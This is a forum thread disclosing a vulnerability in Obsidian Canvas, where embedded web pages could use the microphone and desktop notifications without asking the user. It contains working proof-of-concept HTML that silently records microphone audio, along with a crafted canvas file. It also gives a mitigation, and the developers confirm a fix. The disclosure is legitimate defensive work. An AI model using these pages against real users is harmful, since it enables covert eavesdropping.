Embedded web pages in Obsidian Canvas can use sensitive web APIs without the user's permission grant

Description

The attacker can abuse the Obsidian Canvas to silently record the user’s microphone, access the clipboard, send desktop notifications, etc. This could be achieved by embedding the website that contains special JavaScript that uses several Web APIs.

Due to the missing Session Permission Request handler in the Obsidian App user will not receive any notification or permission request from the embedded website.

For example, when this happens in the regular browser, the pop-up is displayed:
Pasted image 20230215173344

However, if the website is embedded in Canvas it can access the microphone API without any permission request.

The webpages must explicitly request permissions from the user, otherwise, this poses a significant risk to the user’s privacy.

Vector String - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N

Steps to reproduce (Record Audio)

  1. Create and host HTML file with following content (the page will record 5 seconds of audio from the microphone and than play it back).
    The demo file is located at https://obs-demo-poc-serve.s3.amazonaws.com/files/poc1.html
<!DOCTYPE html>
<html lang="en">
<head>
    <title>_</title>
</head>

<body>
    <h1>Make sure your microphone is unmuted.</h1>
    <script>
        // navigator.mediaDevices.enumerateDevices().then((devices) => console.log(devices))
        // credit to https://github.com/bryanjenningz/record-audio
        const recordAudio = () =>
            new Promise(async resolve => {
                const stream = await navigator.mediaDevices.getUserMedia({
                    audio: true
                });
                const mediaRecorder = new MediaRecorder(stream);
                const audioChunks = [];

                mediaRecorder.addEventListener("dataavailable", event => {
                    audioChunks.push(event.data);
                });

                const start = () => mediaRecorder.start();

                const stop = () =>
                    new Promise(resolve => {
                        mediaRecorder.addEventListener("stop", () => {
                            const audioBlob = new Blob(audioChunks);
                            const audioUrl = URL.createObjectURL(audioBlob);
                            const audio = new Audio(audioUrl);
                            const play = () => audio.play();
                            resolve({
                                audioBlob,
                                audioUrl,
                                play
                            });
                        });

                        mediaRecorder.stop();
                    });

                resolve({
                    start,
                    stop
                });
            });

        const sleep = time => new Promise(resolve => setTimeout(resolve, time));

        (async () => {
            const recorder = await recordAudio();
            recorder.start();
            await sleep(5000);
            const audio = await recorder.stop();
            audio.play();
        })();
    </script>
</body>
</html>
  1. Create a blank Canvas and press “Add web page”, insert link to poc1.html OR create the following .canvas file (url parameter is pointing to our page on the server):
{
	"nodes":[{"id":"3cbfdfdb5bd83701","x":-995,"y":355,"width":646,"height":416,"type":"link","url":"https://obs-demo-poc-serve.s3.amazonaws.com/files/poc1.html"}
	"edges":[]
}
  1. Open the canvas file in Obsidian. The recording will start immediately, after 5 seconds it will be played back.

Steps to reproduce (Desktop Notifications)

  1. Replace HTML file with following and repeat the same steps.
    https://obs-demo-poc-serve.s3.amazonaws.com/files/poc2.html
<!DOCTYPE html>
<html lang="en">
<head>
    <title>_</title>
</head>
<body>
    <script>
        let i = 0;
        const interval = setInterval(() => {
            const n = new Notification(`Obsidian`, {
                body: 'Notification example.'
            });
            if (i === 10) {
                clearInterval(interval);
            }
            i++;
        }, 500);
    </script>
</body>
</html>
  1. Open the Canvas file and receive multiple desktop notifications from Obsidian:
    Pasted image 20230215144301

Pasted image 20230215175251

Versions affected

Tested on:

Ubuntu 20.04.5 LTS
v.1.1.9, installer v.1.1.9

Windows 10 PRO 22H2
v.1.1.9, installer v.1.1.9

Mitigation

Implement Electron Session Permission Request handler to handle permission requests from the embedded pages. Access to Web APIs must be explicitly granted by the user or denied by default.

Here is the list of the permissions from the Electron documentation that are possible to cover with the handler.

References

3 Likes

We’ll check this out. Thank you!

1 Like

The suggested mitigation has been implemented in code and will be released in the next version (v1.1.14).

1 Like

Great, thank you. Can we request CVE ID for the vulnerability?

We aren’t yet participating in CVEs since we’re currently a small team - perhaps a bit later, or if we run into a more serious issue like a no-interaction RCE, we might consider getting one.

By the way, I forgot to mention in my last post but this is a great report! I just wish everyone would write with such details, repro steps and possible mitigations. :heart:

This topic was automatically closed 7 days after the last reply. New replies are no longer allowed.